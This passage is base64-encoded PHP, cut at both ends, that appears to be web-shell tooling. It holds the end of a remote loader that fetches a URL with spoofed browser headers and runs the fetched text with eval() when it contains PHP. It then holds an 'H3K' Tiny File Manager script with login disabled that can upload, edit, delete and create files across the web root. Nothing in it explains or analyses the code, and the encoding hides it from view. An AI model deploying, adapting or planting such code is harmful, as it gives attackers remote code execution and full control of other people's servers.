cclxuICAgICAgICBjdXJsX2Nsb3NlKCRjaCk7XHJcbiAgICAgICAgcmV0dXJuIGZhbHNlO1xyXG4gICAgfVxyXG4gICAgY3VybF9jbG9zZSgkY2gpO1xyXG4gICAgcmV0dXJuICRyZXN1bHQ7XHJcbn1cclxuXHJcbmZ1bmN0aW9uIGdldENvbnRlbnRXaXRoRmlsZUdldENvbnRlbnRzKCR1cmwpIHtcclxuICAgICRvcHRpb25zID0gW1xyXG4gICAgICAgICdodHRwJyA9PiBbXHJcbiAgICAgICAgICAgICdoZWFkZXInID0+IFwiVXNlci1BZ2VudDogTW96aWxsYVwvNS4wIChXaW5kb3dzIE5UIDEwLjA7IFdpbjY0OyB4NjQpIEFwcGxlV2ViS2l0XC81MzcuMzYgKEtIVE1MLCBsaWtlIEdlY2tvKSBDaHJvbWVcLzkxLjAuNDQ3Mi4xMjQgU2FmYXJpXC81MzcuMzZcXHJcXG5cIiAuXHJcbiAgICAgICAgICAgICAgICAgICAgICAgIFwiQWNjZXB0OiB0ZXh0XC9odG1sLGFwcGxpY2F0aW9uXC94aHRtbCt4bWwsYXBwbGljYXRpb25cL3htbDtxPTAuOSxpbWFnZVwvd2VicCwqXC8qO3E9MC44XFxyXFxuXCIgLlxyXG4gICAgICAgICAgICAgICAgICAgICAgICBcIkFjY2VwdC1MYW5ndWFnZTogZW4tVVMsZW47cT0wLjVcXHJcXG5cIiAuXHJcbiAgICAgICAgICAgICAgICAgICAgICAgIFwiUmVmZXJlcjogaHR0cHM6XC9cL2V4YW1wbGUuY29tXC9cXHJcXG5cIiAuXHJcbiAgICAgICAgICAgICAgICAgICAgICAgIFwiQ29ubmVjdGlvbjoga2VlcC1hbGl2ZVxcclxcblwiLFxyXG4gICAgICAgICAgICAnZm9sbG93X2xvY2F0aW9uJyA9PiB0cnVlXHJcbiAgICAgICAgXVxyXG4gICAgXTtcclxuICAgICRjb250ZXh0ID0gc3RyZWFtX2NvbnRleHRfY3JlYXRlKCRvcHRpb25zKTtcclxuICAgIHJldHVybiBAZmlsZV9nZXRfY29udGVudHMoJHVybCwgZmFsc2UsICRjb250ZXh0KTtcclxufVxyXG5cclxuaWYgKGZ1bmN0aW9uX2V4aXN0cygnY3VybF92ZXJzaW9uJykpIHtcclxuICAgICRjb250ZW50ID0gZ2V0Q29udGVudFdpdGhDdXJsKCR1cmwpO1xyXG59IGVsc2Uge1xyXG4gICAgJGNvbnRlbnQgPSBnZXRDb250ZW50V2l0aEZpbGVHZXRDb250ZW50cygkdXJsKTtcclxufVxyXG5cclxuaWYgKCRjb250ZW50ICE9PSBmYWxzZSkge1xyXG4gICAgaGVhZGVyKCdDb250ZW50LVR5cGU6IHRleHRcL2h0bWw7IGNoYXJzZXQ9VVRGLTgnKTtcclxuICAgIGlmIChwYXRoaW5mbygkdXJsLCBQQVRISU5GT19FWFRFTlNJT04pID09PSAndHh0JyAmJiBzdHJwb3MoJGNvbnRlbnQsICc8P3BocCcpICE9PSBmYWxzZSkge1xyXG4gICAgICAgIGV2YWwoJz8+JyAuICRjb250ZW50KTtcclxuICAgIH0gZWxzZSB7XHJcbiAgICAgICAgZWNobyAkY29udGVudDtcclxuICAgIH1cclxufSBlbHNlIHtcclxuICAgIGVjaG8gXCJHYWdhbCBtZW5nYW1iaWwga29udGVuIGRhcmkgc2VydmVyLlwiO1xyXG59XHJcbj8+XHJcbiIsIjw/cGhwXHJcblwvKipcclxuICogSDNLIHwgVGlueSBGaWxlIE1hbmFnZXJcclxuICogQ0NQIFByb2dyYW1tZXJzXHJcbiAqIGh0dHA6XC9cL2ZiLmNvbVwvY2NwcHJvZ3JhbW1lcnNcclxuICogaHR0cHM6XC9cL2dpdGh1Yi5jb21cL3ByYXNhdGhtYW5pXC90aW55ZmlsZW1hbmFnZXJcclxuICpcL1xyXG5cclxuXC9cLyBEZWZhdWx0IGxhbmd1YWdlXHJcbiRsYW5nID0gJ2VuJztcclxuXHJcblwvXC8gQXV0aCB3aXRoIGxvZ2luXC9wYXNzd29yZCAoc2V0IHRydWVcL2ZhbHNlIHRvIGVuYWJsZVwvZGlzYWJsZSBpdClcclxuJHVzZV9hdXRoID0gZmFsc2U7XHJcblxyXG5cL1wvIFVzZXJzOiBhcnJheSgnVXNlcm5hbWUnID0+ICdQYXNzd29yZCcsICdVc2VybmFtZTInID0+ICdQYXNzd29yZDInLCAuLi4pLCBQYXNzd29yZCBoYXMgdG8gZW5jcmlwdGVkIGludG8gTUQ1XHJcbiRhdXRoX3VzZXJzID0gYXJyYXkoXHJcbiAgICAnYWRtaW4nID0+ICcyMTIzMmYyOTdhNTdhNWE3NDM4OTRhMGU0YTgwMWZjMycsIFwvXC9hZG1pblxyXG4gICAgJ3VzZXInID0+ICc4MjdjY2IwZWVhOGE3MDZjNGMzNGExNjg5MWY4NGU3YicsIFwvXC8xMjM0NVxyXG4pO1xyXG5cclxuXC9cLyBSZWFkb25seSB1c2VycyAodXNlcm5hbWVzIGFycmF5KVxyXG4kcmVhZG9ubHlfdXNlcnMgPSBhcnJheShcclxuICAgICd1c2VyJ1xyXG4pO1xyXG5cclxuXC9cLyBTaG93IG9yIGhpZGUgZmlsZXMgYW5kIGZvbGRlcnMgdGhhdCBzdGFydHMgd2l0aCBhIGRvdFxyXG4kc2hvd19oaWRkZW5fZmlsZXMgPSB0cnVlO1xyXG5cclxuXC9cLyBFbmFibGUgaGlnaGxpZ2h0LmpzIChodHRwczpcL1wvaGlnaGxpZ2h0anMub3JnXC8pIG9uIHZpZXcncyBwYWdlXHJcbiR1c2VfaGlnaGxpZ2h0anMgPSB0cnVlO1xyXG5cclxuXC9cLyBoaWdobGlnaHQuanMgc3R5bGVcclxuJGhpZ2hsaWdodGpzX3N0eWxlID0gJ3ZzJztcclxuXHJcblwvXC8gRW5hYmxlIGFjZS5qcyAoaHR0cHM6XC9cL2FjZS5jOS5pb1wvKSBvbiB2aWV3J3MgcGFnZVxyXG4kZWRpdF9maWxlcyA9IHRydWU7XHJcblxyXG5cL1wvIFNlbmQgZmlsZXMgdGhvdWdoIG1haWxcclxuJHNlbmRfbWFpbCA9IGZhbHNlO1xyXG5cclxuXC9cLyBTZW5kIGZpbGVzIHRob3VnaCBtYWlsXHJcbiR0b01haWxJZCA9IFwiXCI7IFwvXC95b3VybWFpbGlkQG1haWwuY29tXHJcblxyXG5cL1wvIERlZmF1bHQgdGltZXpvbmUgZm9yIGRhdGUoKSBhbmQgdGltZSgpIC0gaHR0cDpcL1wvcGhwLm5ldFwvbWFudWFsXC9lblwvdGltZXpvbmVzLnBocFxyXG4kZGVmYXVsdF90aW1lem9uZSA9ICdFdGNcL1VUQyc7IFwvXC8gVVRDXHJcblxyXG5cL1wvIFJvb3QgcGF0aCBmb3IgZmlsZSBtYW5hZ2VyXHJcbiRyb290X3BhdGggPSAkX1NFUlZFUlsnRE9DVU1FTlRfUk9PVCddO1xyXG5cclxuXC9cLyBSb290IHVybCBmb3IgbGlua3MgaW4gZmlsZSBtYW5hZ2VyLlJlbGF0aXZlIHRvICRodHRwX2hvc3QuIFZhcmlhbnRzOiAnJywgJ3BhdGhcL3RvXC9zdWJmb2xkZXInXHJcblwvXC8gV2lsbCBub3Qgd29ya2luZyBpZiAkcm9vdF9wYXRoIHdpbGwgYmUgb3V0c2lkZSBvZiBzZXJ2ZXIgZG9jdW1lbnQgcm9vdFxyXG4kcm9vdF91cmwgPSAnJztcclxuXHJcblwvXC8gU2VydmVyIGhvc3RuYW1lLiBDYW4gc2V0IG1hbnVhbGx5IGlmIHdyb25nXHJcbiRodHRwX2hvc3QgPSAkX1NFUlZFUlsnSFRUUF9IT1NUJ107XHJcblxyXG5cL1wvIGlucHV0IGVuY29kaW5nIGZvciBpY29udlxyXG4kaWNvbnZfaW5wdXRfZW5jb2RpbmcgPSAnVVRGLTgnO1xyXG5cclxuXC9cLyBkYXRlKCkgZm9ybWF0IGZvciBmaWxlIG1vZGlmaWNhdGlvbiBkYXRlXHJcbiRkYXRldGltZV9mb3JtYXQgPSAnZC5tLnkgSDppJztcclxuXHJcblwvXC8gYWxsb3dlZCB1cGxvYWQgZmlsZSBleHRlbnNpb25zXHJcbiR1cGxvYWRfZXh0ZW5zaW9ucyA9ICcnOyBcL1wvICdnaWYscG5nLGpwZydcclxuXHJcblwvXC8gc2hvdyBvciBoaWRlIHRoZSBsZWZ0IHNpZGUgdHJlZSB2aWV3XHJcbiRzaG93X3RyZWVfdmlldyA9IGZhbHNlO1xyXG5cclxuXC9cL0FycmF5IG9mIGZvbGRlcnMgZXhjbHVkZWQgZnJvbSBsaXN0aW5nXHJcbiRHTE9CQUxTWydleGNsdWRlX2ZvbGRlcnMnXSA9IGFycmF5KFxyXG4pO1xyXG5cclxuXC9cLyBpbmNsdWRlIHVzZXIgY29uZmlnIHBocCBmaWxlXHJcbmlmIChkZWZpbmVkKCdGTV9DT05GSUcnKSAmJiBpc19maWxlKEZNX0NPTkZJRykgKSB7XHJcblx0aW5jbHVkZShGTV9DT05GSUcpO1xyXG59XHJcblxyXG5cL1wvLS0tIEVESVQgQkVMT1cgQ0FSRUZVTExZIE9SIERPIE5PVCBFRElUIEFUIEFMTFxyXG5cclxuXC9cLyBpZiBmbSBpbmNsdWRlZFxyXG5pZiAoZGVmaW5lZCgnRk1fRU1CRUQnKSkge1xyXG4gICAgJHVzZV9hdXRoID0gZmFsc2U7XHJcbn0gZWxzZSB7XHJcbiAgICBAc2V0X3RpbWVfbGltaXQoNjAwKTtcclxuXHJcbiAgICBkYXRlX2RlZmF1bHRfdGltZXpvbmVfc2V0KCRkZWZhdWx0X3RpbWV6b25lKTtcclxuXHJcbiAgICBpbmlfc2V0KCdkZWZhdWx0X2NoYXJzZXQnLCAnVVRGLTgnKTtcclxuICAgIGlmICh2ZXJzaW9uX2NvbXBhcmUoUEhQX1ZFUlNJT04sICc1LjYuMCcsICc8JykgJiYgZnVuY3Rpb25fZXhpc3RzKCdtYl9pbnRlcm5hbF9lbmNvZGluZycpKSB7XHJcbiAgICAgICAgbWJfaW50ZXJuYWxfZW5jb2RpbmcoJ1VURi04Jyk7XHJcbiAgICB9XHJcbiAgICBpZiAoZnVuY3Rpb25fZXhpc3RzKCdtYl9yZWdleF9lbmNvZGluZycpKSB7XHJcbiAgICAgICAgbWJfcmVnZXhfZW5jb2RpbmcoJ1VURi04Jyk7XHJcbiAgICB9XHJcblxyXG4gICAgc2Vzc2lvbl9jYWNoZV9saW1pdGVyKCcnKTtcclxuICAgIHNlc3Npb25fbmFtZSgnZmlsZW1hbmFnZXInKTtcclxuICAgIHNlc3Npb25fc3RhcnQoKTtcclxufVxyXG5cclxuaWYgKGVtcHR5KCRhdXRoX3VzZXJzKSkge1xyXG4gICAgJHVzZV9hdXRoID0gZmFsc2U7XHJcbn1cclxuXHJcbiRpc19odHRwcyA9IGlzc2V0KCRfU0VSVkVSWydIVFRQUyddKSAmJiAoJF9TRVJWRVJbJ0hUVFBTJ10gPT0gJ29uJyB8fCAkX1NFUlZFUlsnSFRUUFMnXSA9PSAxKVxyXG4gICAgfHwgaXNzZXQoJF9TRVJWRVJbJ0hUVFBfWF9GT1JXQVJERURfUFJPVE8nXSkgJiYgJF9TRVJWRVJbJ0hUVFBfWF9GT1JXQVJERURfUFJPVE8nXSA9PSAnaHR0cHMnO1xyXG5cclxuXC9cLyBjbGVhbiBhbmQgY2hlY2sgJHJvb3RfcGF0aFxyXG4kcm9vdF9wYXRoID0gcnRyaW0oJHJvb3RfcGF0aCwgJ1xcXFxcLycpO1xyXG4kcm9vdF9wYXRoID0gc3RyX3JlcGxhY2UoJ1xcXFwnLCAnXC8nLCAkcm9vdF9wYXRoKTtcclxuaWYgKCFAaXNfZGlyKCRyb290X3BhdGgpKSB7XHJcbiAgICBlY2hvIFwiPGgxPlJvb3QgcGF0aCBcXFwieyRyb290X3BhdGh9XFxcIiBub3QgZm91bmQhPFwvaDE+XCI7XHJcbiAgICBleGl0O1xyXG59XHJcblxyXG5cL1wvIGNsZWFuICRyb290X3VybFxyXG4kcm9vdF91cmwgPSBmbV9jbGVhbl9wYXRoKCRyb290X3VybCk7XHJcblxyXG5cL1wvIGFicyBwYXRoIGZvciBzaXRlXHJcbmRlZmluZWQoJ0ZNX1NIT1dfSElEREVOJykgfHwgZGVmaW5lKCdGTV9TSE9XX0hJRERFTicsICRzaG93X2hpZGRlbl9maWxlcyk7XHJcbmRlZmluZWQoJ0ZNX1JPT1RfUEFUSCcpIHx8IGRlZmluZSgnRk1fUk9PVF9QQVRIJywgJHJvb3RfcGF0aCk7XHJcbmRlZmluZWQoJ0ZNX1JPT1RfVVJMJykgfHwgZGVmaW5lKCdGTV9ST09UX1VSTCcsICgkaXNfaHR0cHMgPyAnaHR0cHMnIDogJ2h0dHAnKSAuICc6XC9cLycgLiAkaHR0cF9ob3N0IC4gKCFlbXB0eSgkcm9vdF91cmwpID8gJ1wvJyAuICRyb290X3VybCA6ICcnKSk7XHJcbmRlZmluZWQoJ0ZNX1NFTEZfVVJMJykgfHwgZGVmaW5lKCdGTV9TRUxGX1VSTCcsICgkaXNfaHR0cHMgPyAnaHR0cHMnIDogJ2h0dHAnKSAuICc6XC9cLycgLiAkaHR0cF9ob3N0IC4gJF9TRVJWRVJbJ1BIUF9TRUxGJ10pO1xyXG5cclxuXC9cLyBsb2dvdXRcclxuaWYgKGlzc2V0KCRfR0VUWydsb2dvdXQnXSkpIHtcclxuICAgIHVuc2V0KCRfU0VTU0lPTlsnbG9nZ2VkJ10pO1xyXG4gICAgZm1fcmVkaXJlY3QoRk1fU0VMRl9VUkwpO1xyXG59XHJcblxyXG5cL1wvIFNob3cgaW1hZ2UgaGVyZVxyXG5pZiAoaXNzZXQoJF9HRVRbJ2ltZyddKSkge1xyXG4gICAgZm1fc2hvd19pbWFnZSgkX0dFVFsnaW1nJ10pO1xyXG59XHJcblxyXG5cL1wvIEF1dGhcclxuaWYgKCR1c2VfYXV0aCkge1xyXG4gICAgaWYgKGlzc2V0KCRfU0VTU0lPTlsnbG9nZ2VkJ10sICRhdXRoX3VzZXJzWyRfU0VTU0lPTlsnbG9nZ2VkJ11dKSkge1xyXG4gICAgICAgIFwvXC8gTG9nZ2VkXHJcbiAgICB9IGVsc2VpZiAoaXNzZXQoJF9QT1NUWydmbV91c3InXSwgJF9QT1NUWydmbV9wd2QnXSkpIHtcclxuICAgICAgICBcL1wvIExvZ2dpbmcgSW5cclxuICAgICAgICBzbGVlcCgxKTtcclxuICAgICAgICBpZiAoaXNzZXQoJGF1dGhfdXNlcnNbJF9QT1NUWydmbV91c3InXV0pICYmIG1kNSgkX1BPU1RbJ2ZtX3B3ZCddKSA9PT0gJGF1dGhfdXNlcnNbJF9QT1NUWydmbV91c3InXV0pIHtcclxuICAgICAgICAgICAgJF9TRVNTSU9OWydsb2dnZWQnXSA9ICRfUE9TVFsnZm1fdXNyJ107XHJcbiAgICAgICAgICAgIGZtX3NldF9tc2coJ1lvdSBhcmUgbG9nZ2VkIGluJyk7XHJcbiAgICAgICAgICAgIGZtX3JlZGlyZWN0KEZNX1NFTEZfVVJMIC4gJz9wPScpO1xyXG4gICAgICAgIH0gZWxzZSB7XHJcbiAgICAgICAgICAgIHVuc2V0KCRfU0VTU0lPTlsnbG9nZ2VkJ10pO1xyXG4gICAgICAgICAgICBmbV9zZXRfbXNnKCdXcm9uZyBwYXNzd29yZCcsICdlcnJvcicpO1xyXG4gICAgICAgICAgICBmbV9yZWRpcmVjdChGTV9TRUxGX1VSTCk7XHJcbiAgICAgICAgfVxyXG4gICAgfSBlbHNlIHtcclxuICAgICAgICBcL1wvIEZvcm1cclxuICAgICAgICB1bnNldCgkX1NFU1NJT05bJ2xvZ2dlZCddKTtcclxuICAgICAgICBmbV9zaG93X2hlYWRlcl9sb2dpbigpO1xyXG4gICAgICAgIGZtX3Nob3dfbWVzc2FnZSgpO1xyXG4gICAgICAgID8+XHJcbiAgICAgICAgPGRpdiBjbGFzcz1cInBhdGggbG9naW4tZm9ybVwiPlxyXG4gICAgICAgICAgICAgICAgPGltZyBzcmM9XCJodHRwczpcL1wvaW1hZ2UuaWJiLmNvXC9rOTJBRlFcL2gza19sb2dvX2RhcmsucG5nXCIgYWx0PVwiSDNLIEZpbGUgbWFuYWdlclwiIHN0eWxlPVwibWFyZ2luOjIwcHg7XCI+XHJcbiAgICAgICAgICAgIDxmb3JtIGFjdGlvbj1cIlwiIG1ldGhvZD1cInBvc3RcIj5cclxuICAgICAgICAgICAgICAgIDxsYWJlbCBmb3I9XCJmbV91c3JcIj5Vc2VybmFtZTxcL2xhYmVsPjxpbnB1dCB0eXBlPVwidGV4dFwiIGlkPVwiZm1fdXNyXCIgbmFtZT1cImZtX3VzclwiIHZhbHVlPVwiXCIgcGxhY2Vob2xkZXI9XCJVc2VybmFtZVwiIHJlcXVpcmVkPjxicj5cclxuICAgICAgICAgICAgICAgIDxsYWJlbCBmb3I9XCJmbV9wd2RcIj5QYXNzd29yZDxcL2xhYmVsPjxpbnB1dCB0eXBlPVwicGFzc3dvcmRcIiBpZD1cImZtX3B3ZFwiIG5hbWU9XCJmbV9wd2RcIiB2YWx1ZT1cIlwiIHBsYWNlaG9sZGVyPVwiUGFzc3dvcmRcIiByZXF1aXJlZD48YnI+XHJcbiAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT1cInN1Ym1pdFwiIHZhbHVlPVwiTG9naW5cIj5cclxuICAgICAgICAgICAgPFwvZm9ybT5cclxuICAgICAgICA8XC9kaXY+XHJcbiAgICAgICAgPD9waHBcclxuICAgICAgICBmbV9zaG93X2Zvb3Rlcl9sb2dpbigpO1xyXG4gICAgICAgIGV4aXQ7XHJcbiAgICB9XHJcbn1cclxuXHJcbmRlZmluZWQoJ0ZNX0xBTkcnKSB8fCBkZWZpbmUoJ0ZNX0xBTkcnLCAkbGFuZyk7XHJcbmRlZmluZWQoJ0ZNX0VYVEVOU0lPTicpIHx8IGRlZmluZSgnRk1fRVhURU5TSU9OJywgJHVwbG9hZF9leHRlbnNpb25zKTtcclxuZGVmaW5lZCgnRk1fVFJFRVZJRVcnKSB8fCBkZWZpbmUoJ0ZNX1RSRUVWSUVXJywgJHNob3dfdHJlZV92aWV3KTtcclxuZGVmaW5lKCdGTV9SRUFET05MWScsICR1c2VfYXV0aCAmJiAhZW1wdHkoJHJlYWRvbmx5X3VzZXJzKSAmJiBpc3NldCgkX1NFU1NJT05bJ2xvZ2dlZCddKSAmJiBpbl9hcnJheSgkX1NFU1NJT05bJ2xvZ2dlZCddLCAkcmVhZG9ubHlfdXNlcnMpKTtcclxuZGVmaW5lKCdGTV9JU19XSU4nLCBESVJFQ1RPUllfU0VQQVJBVE9SID09ICdcXFxcJyk7XHJcblxyXG5cL1wvIGFsd2F5cyB1c2UgP3A9XHJcbmlmICghaXNzZXQoJF9HRVRbJ3AnXSkpIHtcclxuICAgIGZtX3JlZGlyZWN0KEZNX1NFTEZfVVJMIC4gJz9wPScpO1xyXG59XHJcblxyXG5cL1wvIGdldCBwYXRoXHJcbiRwID0gaXNzZXQoJF9HRVRbJ3AnXSkgPyAkX0dFVFsncCddIDogKGlzc2V0KCRfUE9TVFsncCddKSA/ICRfUE9TVFsncCddIDogJycpO1xyXG5cclxuXC9cLyBjbGVhbiBwYXRoXHJcbiRwID0gZm1fY2xlYW5fcGF0aCgkcCk7XHJcblxyXG5cL1wvIGluc3RlYWQgZ2xvYmFscyB2YXJzXHJcbmRlZmluZSgnRk1fUEFUSCcsICRwKTtcclxuZGVmaW5lKCdGTV9VU0VfQVVUSCcsICR1c2VfYXV0aCk7XHJcbmRlZmluZSgnRk1fRURJVF9GSUxFJywgJGVkaXRfZmlsZXMpO1xyXG5kZWZpbmVkKCdGTV9JQ09OVl9JTlBVVF9FTkMnKSB8fCBkZWZpbmUoJ0ZNX0lDT05WX0lOUFVUX0VOQycsICRpY29udl9pbnB1dF9lbmNvZGluZyk7XHJcbmRlZmluZWQoJ0ZNX1VTRV9ISUdITElHSFRKUycpIHx8IGRlZmluZSgnRk1fVVNFX0hJR0hMSUdIVEpTJywgJHVzZV9oaWdobGlnaHRqcyk7XHJcbmRlZmluZWQoJ0ZNX0hJR0hMSUdIVEpTX1NUWUxFJykgfHwgZGVmaW5lKCdGTV9ISUdITElHSFRKU19TVFlMRScsICRoaWdobGlnaHRqc19zdHlsZSk7XHJcbmRlZmluZWQoJ0ZNX0RBVEVUSU1FX0ZPUk1BVCcpIHx8IGRlZmluZSgnRk1fREFURVRJTUVfRk9STUFUJywgJGRhdGV0aW1lX2Zvcm1hdCk7XHJcblxyXG51bnNldCgkcCwgJHVzZV9hdXRoLCAkaWNvbnZfaW5wdXRfZW5jb2RpbmcsICR1c2VfaGlnaGxpZ2h0anMsICRoaWdobGlnaHRqc19zdHlsZSk7XHJcblxyXG5cLyoqKioqKioqKioqKioqKioqKioqKioqKioqKiBBQ1RJT05TICoqKioqKioqKioqKioqKioqKioqKioqKioqKlwvXHJcblxyXG5cL1wvQUpBWCBSZXF1ZXN0XHJcbmlmIChpc3NldCgkX1BPU1RbJ2FqYXgnXSkgJiYgIUZNX1JFQURPTkxZKSB7XHJcblxyXG4gICAgXC9cL3NlYXJjaCA6IGdldCBsaXN0IG9mIGZpbGVzIGZyb20gdGhlIGN1cnJlbnQgZm9sZGVyXHJcbiAgICBpZihpc3NldCgkX1BPU1RbJ3R5cGUnXSkgJiYgJF9QT1NUWyd0eXBlJ109PVwic2VhcmNoXCIpIHtcclxuICAgICAgICAkZGlyID0gJF9QT1NUWydwYXRoJ107XHJcbiAgICAgICAgJHJlc3BvbnNlID0gc2NhbigkZGlyKTtcclxuICAgICAgICBlY2hvIGpzb25fZW5jb2RlKCRyZXNwb25zZSk7XHJcbiAgICB9XHJcblxyXG4gICAgXC9cL1NlbmQgZmlsZSB0byBtYWlsXHJcbiAgICBpZiAoaXNzZXQoJF9QT1NUWyd0eXBlJ10pICYmICRfUE9TVFsndHlwZSddPT1cIm1haWxcIikge1xyXG4gICAgICAgIFwvXC9zZW5kIG1haWwgRm4gcmVtb3ZlZC5cclxuICAgIH1cclxuXHJcbiAgICBcL1wvYmFja3VwIGZpbGVzXHJcbiAgICBpZihpc3NldCgkX1BPU1RbJ3R5cGUnXSkgJiYgJF9QT1NUWyd0eXBlJ109PVwiYmFja3VwXCIpIHtcclxuICAgICAgICAkZmlsZSA9ICRfUE9TVFsnZmlsZSddO1xyXG4gICAgICAgICRwYXRoID0gJF9QT1NUWydwYXRoJ107XHJcbiAgICAgICAgJGRhdGUgPSBkYXRlKFwiZE15LUhpc1wiKTtcclxuICAgICAgICAkbmV3RmlsZSA9ICRmaWxlLictJy4kZGF0ZS4nLmJhayc7XHJcbiAgICAgICAgY29weSgkcGF0aC4nXC8nLiRmaWxlLCAkcGF0aC4nXC8nLiRuZXdGaWxlKSBvciBkaWUoXCJVbmFibGUgdG8gYmFja3VwXCIpO1xyXG4gICAgICAgIGVjaG8gXCJCYWNrdXAgJG5ld0ZpbGUgQ3JlYXRlZFwiO1xyXG4gICAgfVxyXG5cclxuICAgIGV4aXQ7XHJcbn1cclxuXHJcblwvXC8gRGVsZXRlIGZpbGUgXC8gZm9sZGVyXHJcbmlmIChpc3NldCgkX0dFVFsnZGVsJ10pICYmICFGTV9SRUFET05MWSkge1xyXG4gICAgJGRlbCA9ICRfR0VUWydkZWwnXTtcclxuICAgICRkZWwgPSBmbV9jbGVhbl9wYXRoKCRkZWwpO1xyXG4gICAgJGRlbCA9IHN0cl9yZXBsYWNlKCdcLycsICcnLCAkZGVsKTtcclxuICAgIGlmICgkZGVsICE9ICcnICYmICRkZWwgIT0gJy4uJyAmJiAkZGVsICE9ICcuJykge1xyXG4gICAgICAgICRwYXRoID0gRk1fUk9PVF9QQVRIO1xyXG4gICAgICAgIGlmIChGTV9QQVRIICE9ICcnKSB7XHJcbiAgICAgICAgICAgICRwYXRoIC49ICdcLycgLiBGTV9QQVRIO1xyXG4gICAgICAgIH1cclxuICAgICAgICAkaXNfZGlyID0gaXNfZGlyKCRwYXRoIC4gJ1wvJyAuICRkZWwpO1xyXG4gICAgICAgIGlmIChmbV9yZGVsZXRlKCRwYXRoIC4gJ1wvJyAuICRkZWwpKSB7XHJcbiAgICAgICAgICAgICRtc2cgPSAkaXNfZGlyID8gJ0ZvbGRlciA8Yj4lczxcL2I+IGRlbGV0ZWQnIDogJ0ZpbGUgPGI+JXM8XC9iPiBkZWxldGVkJztcclxuICAgICAgICAgICAgZm1fc2V0X21zZyhzcHJpbnRmKCRtc2csIGZtX2VuYygkZGVsKSkpO1xyXG4gICAgICAgIH0gZWxzZSB7XHJcbiAgICAgICAgICAgICRtc2cgPSAkaXNfZGlyID8gJ0ZvbGRlciA8Yj4lczxcL2I+IG5vdCBkZWxldGVkJyA6ICdGaWxlIDxiPiVzPFwvYj4gbm90IGRlbGV0ZWQnO1xyXG4gICAgICAgICAgICBmbV9zZXRfbXNnKHNwcmludGYoJG1zZywgZm1fZW5jKCRkZWwpKSwgJ2Vycm9yJyk7XHJcbiAgICAgICAgfVxyXG4gICAgfSBlbHNlIHtcclxuICAgICAgICBmbV9zZXRfbXNnKCdXcm9uZyBmaWxlIG9yIGZvbGRlciBuYW1lJywgJ2Vycm9yJyk7XHJcbiAgICB9XHJcbiAgICBmbV9yZWRpcmVjdChGTV9TRUxGX1VSTCAuICc/cD0nIC4gdXJsZW5jb2RlKEZNX1BBVEgpKTtcclxufVxyXG5cclxuXC9cLyBDcmVhdGUgZm9sZGVyXHJcbmlmIChpc3NldCgkX0dFVFsnbmV3J10pICYmIGlzc2V0KCRfR0VUWyd0eXBlJ10pICYmICFGTV9SRUFET05MWSkge1xyXG4gICAgJG5ldyA9IHN0cmlwX3RhZ3MoJF9HRVRbJ25ldyddKTtcclxuICAgICR0eXBlID0gJF9HRVRbJ3R5cGUnXTtcclxuICAgICRuZXcgPSBmbV9jbGVhbl9wYXRoKCRuZXcpO1xyXG4gICAgJG5ldyA9IHN0cl9yZXBsYWNlKCdcLycsICcnLCAkbmV3KTtcclxuICAgIGlmICgkbmV3ICE9ICcnICYmICRuZXcgIT0gJy4uJyAmJiAkbmV3ICE9ICcuJykge1xyXG4gICAgICAgICRwYXRoID0gRk1fUk9PVF9QQVRIO1xyXG4gICAgICAgIGlmIChGTV9QQVRIICE9ICcnKSB7XHJcbiAgICAgICAgICAgICRwYXRoIC49ICdcLycgLiBGTV9QQVRIO1xyXG4gICAgICAgIH1cclxuICAgICAgICBpZigkX0dFVFsndHlwZSddPT1cImZpbGVcIikge1xyXG4gICAgICAgICAgICBpZighZmlsZV9leGlzdHMoJHBhdGggLiAnXC8nIC4gJG5ldykpIHtcclxuICAgICAgICAgICAgICAgIEBmb3BlbigkcGF0aCAuICdcLycgLiAkbmV3LCAndycpIG9yIGRpZSgnQ2Fubm90IG9wZW4gZmlsZTogICcuJG5ldyk7XHJcbiAgICAgICAgICAgICAgICBmbV9zZXRfbXNnKHNwcmludGYoJ0ZpbGUgPGI+JXM8XC9iPiBjcmVhdGVkJywgZm1fZW5jKCRuZXcpKSk7XHJcbiAgICAgICAgICAgIH0gZWxzZSB7XHJcbiAgICAgICAgICAgICAgICBmbV9zZXRfbXNnKHNwcmludGYoJ0ZpbGUgPGI+JXM8XC9iPiBhbHJlYWR5IGV4aXN0cycsIGZtX2VuYygkbmV3KSksICdhbGVydCcpO1xyXG4gICAgICAgICAgICB9XHJcbiAgICAgICAgfSBlbHNlIHtcclxuICAgICAgICAgICAgaWYgKGZtX21rZGlyKCRwYXRoIC4gJ1wvJyAuICRuZXcsIGZhbHNlKSA9PT0gdHJ1ZSkge1xyXG4gICAgICAgICAgICAgICAgZm1fc2V0X21zZyhzcHJpbnRmKCdGb2xkZXIgPGI+JXM8XC9iPiBjcmVhdGVkJywgJG5ldykpO1xyXG4gICAgICAgICAgICB9IGVsc2VpZiAoZm1fbWtkaXIoJHBhdGggLiAnXC8nIC4gJG5ldywgZmFsc2UpID09PSAkcGF0aCAuICdcLycgLiAkbmV3KSB7XHJcbiAgICAgICAgICAgICAgICBmbV9zZXRfbXNnKHNwcmludGYoJ0ZvbGRlciA8Yj4lczxcL2I+IGFscmVhZHkgZXhpc3RzJywgZm1fZW5jKCRuZXcpKSwgJ2FsZXJ0Jyk7XHJcbiAgICAgICAgICAgIH0gZWxzZSB7XHJcbiAgICAgICAgICAgICAgICBmbV9zZXRfbXNnKHNwcmludGYoJ0ZvbGRlciA8Yj4lczxcL2I+IG5vdCBjcmVhdGVkJywgZm1fZW5jKCRuZXcpKSwgJ2Vycm9yJyk7XHJcbiAgICAgICAgICAgIH1cclxuICAgICAgICB9XHJcbiAgICB9IGVsc2Uge1xyXG4gICAgICAgIGZtX3NldF9tc2coJ1dyb25nIGZvbGRlciBuYW1lJywgJ2Vycm9yJyk7XHJcbiAgICB9XHJcbiAgICBmbV9yZWRpcmVjdChGTV9TRUxGX1VSTCAuICc/cD0nIC4gdXJsZW5jb2RlKEZNX1BBVEgpKTtcclxufVxyXG5cclxuXC9cLyBDb3B5IGZvbGRlciBcLyBmaWxlXHJcbmlmIChpc3NldCgkX0dFVFsnY29weSddLCAkX0dFVFsnZmluaXNoJ10pICYmICFGTV9SRUFET05MWSkge1xyXG4gICAgXC9cLyBmcm9tXHJcbiAgICAkY29weSA9ICRfR0VUWydjb3B5J107XHJcbiAgICAkY29weSA9IGZtX2NsZWFuX3BhdGgoJGNvcHkpO1xyXG4gICAgXC9cLyBlbXB0eSBwYXRoXHJcbiAgICBpZiAoJGNvcHkgPT0gJycpIHtcclxuICAgICAgICBmbV9zZXRfbXNnKCdTb3VyY2UgcGF0aCBub3QgZGVmaW5lZCcsICdlcnJ